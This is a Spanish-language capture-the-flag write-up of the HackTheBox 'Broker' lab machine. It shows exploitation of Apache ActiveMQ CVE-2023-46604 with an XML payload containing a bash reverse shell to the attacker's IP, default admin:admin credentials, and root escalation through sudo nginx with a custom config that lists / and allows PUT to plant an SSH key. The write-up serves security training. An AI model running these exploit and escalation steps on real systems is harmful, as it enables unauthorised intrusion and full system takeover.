HackTheBox - Broker (easy)
- Broker is an easy difficulty
Linux
machine hosting a version ofApache ActiveMQ
. Enumerating the version ofApache ActiveMQ
shows that it is vulnerable toUnauthenticated Remote Code Execution
, which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has asudo
misconfiguration allowing theactivemq
user to executesudo /usr/sbin/nginx
, which is similar to the recentZimbra
disclosure and is leveraged to gainroot
access.
PortScan
❯ sudo nmap -sCV -p22,80,1883,5672,8161,37891,61613,61614,61616 10.10.11.243 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 18:55 CST
Nmap scan report for 10.10.11.243
Host is up (0.18s latency).
Bug in mqtt-subscribe: no string output.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp open mqtt
5672/tcp open amqp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
37891/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
Deserialization Attack (CVE-2023-46604)
-
Tenemos varios puertos abiertos los cuales corren el servicio
http
en la máquina vamos a enumerar primero el 80. -
Nos pide credenciales.
- Si probamos con
admin:admin
vemos que funcionan.
- Aquí nos dan la versión.
-
Si investigamos encontramos una vulnerabilidad la cual nos otorga RCE https://nvd.nist.gov/vuln/detail/CVE-2023-46604.
-
Aquí nos explican como funciona la vulnerabilidad https://github.com/evkl1d/CVE-2023-46604/tree/main.
-
Vamos a clonarlos el proyecto para poder enviar el
XML
.
❯ git clone https://github.com/evkl1d/CVE-2023-46604
Cloning into 'CVE-2023-46604'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 22 (delta 5), reused 13 (delta 3), pack-reused 0 (from 0)
Receiving objects: 100% (22/22), 5.10 KiB | 746.00 KiB/s, done.
Resolving deltas: 100% (5/5), done.
❯ cd CVE-2023-46604
- Vamos a editar el
xml
que envié el exploit para obtener la reverse shell.
❯ cat poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.14.3/443 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
-
El script de Python3 nos automatiza el envió del
xml
enActiveMQ
que usa un entorno Spring y explota una vulnerabilidad de deserialización. -
Vamos a ponernos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...
- Iniciamos nuestro servidor en Python3.
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
- Ejecutamos el script.
❯ python3 exploit.py -i 10.10.11.243 -u http://10.10.14.3/poc.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.3/poc.xml
[*] Sending packet: 0000006c1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010019687474703a2f2f31302e31302e31342e332f706f632e786d6c
- Llegan las peticiones.
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.243 - - [27/Oct/2024 11:40:55] "GET /poc.xml HTTP/1.1" 200 -
10.10.11.243 - - [27/Oct/2024 11:40:56] "GET /poc.xml HTTP/1.1" 200 -
- Nos llega la shell.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
<ENTER>
activemq@broker:/opt/apache-activemq-5.15.15/bin$ export TERM=xterm
User flag
- Vemos la flag.
activemq@broker:~$ cat user.txt
54339dbd39d73ad7935a3666c77837c1
activemq@broker:~$
Privilege Escalation
-
Podemos ejecutar como
root
nginx
sin proporcionar contraseña https://kinsta.com/es/base-de-conocimiento/que-es-nginx/. -
Vemos que podemos proporcionar un archivo de configuración para correr una web.
activemq@broker:~$ sudo nginx -h
nginx version: nginx/1.18.0 (Ubuntu)
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]
Options:
-?,-h : this help
-v : show version and exit
-V : show version and configure options then exit
-t : test configuration and exit
-T : test configuration, dump it and exit
-q : suppress non-error messages during configuration testing
-s signal : send signal to a master process: stop, quit, reopen, reload
-p prefix : set prefix path (default: /usr/share/nginx/)
-c filename : set configuration file (default: /etc/nginx/nginx.conf)
-g directives : set global directives out of configuration file
activemq@broker:~$
- Vamos a crear el
.conf
.
activemq@broker:/tmp$ cp /etc/nginx/nginx.conf /tmp
activemq@broker:/tmp$ cd /tmp
- Editamos el
.conf
para poder tener privilegios dedirectory listing
y crear el servicio para poder ver todo desde el directorio/
deroot
.
activemq@broker:/tmp$ cat nginx.conf
user root;
events {
worker_connections 768;
# multi_accept on;
}
http {
server {
listen 1234;
root /;
autoindex on;
}
}
activemq@broker:/tmp$
- Ahora lo ejecutamos.
activemq@broker:/tmp$ sudo nginx -c /tmp/nginx.conf
- Lo vemos.
- Ya podemos ver la flag de root.
- Algo que podemos hacer para conectarnos por
ssh
podemos poner el métodoPUT
para subir laid_rsa
ya que el usuarioroot
cuenta con el directorio .ssh
solamente tenemos que cambiar el puerto.
activemq@broker:/tmp$ cat nginx.conf
user root;
events {
worker_connections 768;
# multi_accept on;
}
http {
server {
listen 1237;
root /;
autoindex on;
dav_methods PUT;
}
}
activemq@broker:/tmp$ sudo nginx -c /tmp/nginx.conf
activemq@broker:/tmp$
- Creamos las claves.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/miguelrega7/.ssh/id_ed25519):
/home/miguelrega7/.ssh/id_ed25519 already exists.
Overwrite (y/n)?
- Ahora la subimos.
activemq@broker:/tmp$ curl -s -X PUT http://10.10.11.243:1237/root/.ssh/authorized_keys -d 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPVJvICHwt32MJceMIYuxo4dMlOYxtQsUOAmQl2mMqhj miguelrega7@miguelito'
- Ahora nos podemos conectar con
SSH
.
❯ ssh root@10.10.11.243
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Oct 27 06:36:46 PM UTC 2024
System load: 0.0
Usage of /: 70.8% of 4.63GB
Memory usage: 10%
Swap usage: 0%
Processes: 161
Users logged in: 0
IPv4 address for eth0: 10.10.11.243
IPv6 address for eth0: dead:beef::250:56ff:fe94:afc9
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
root@broker:~# whoami
root
root@broker:~#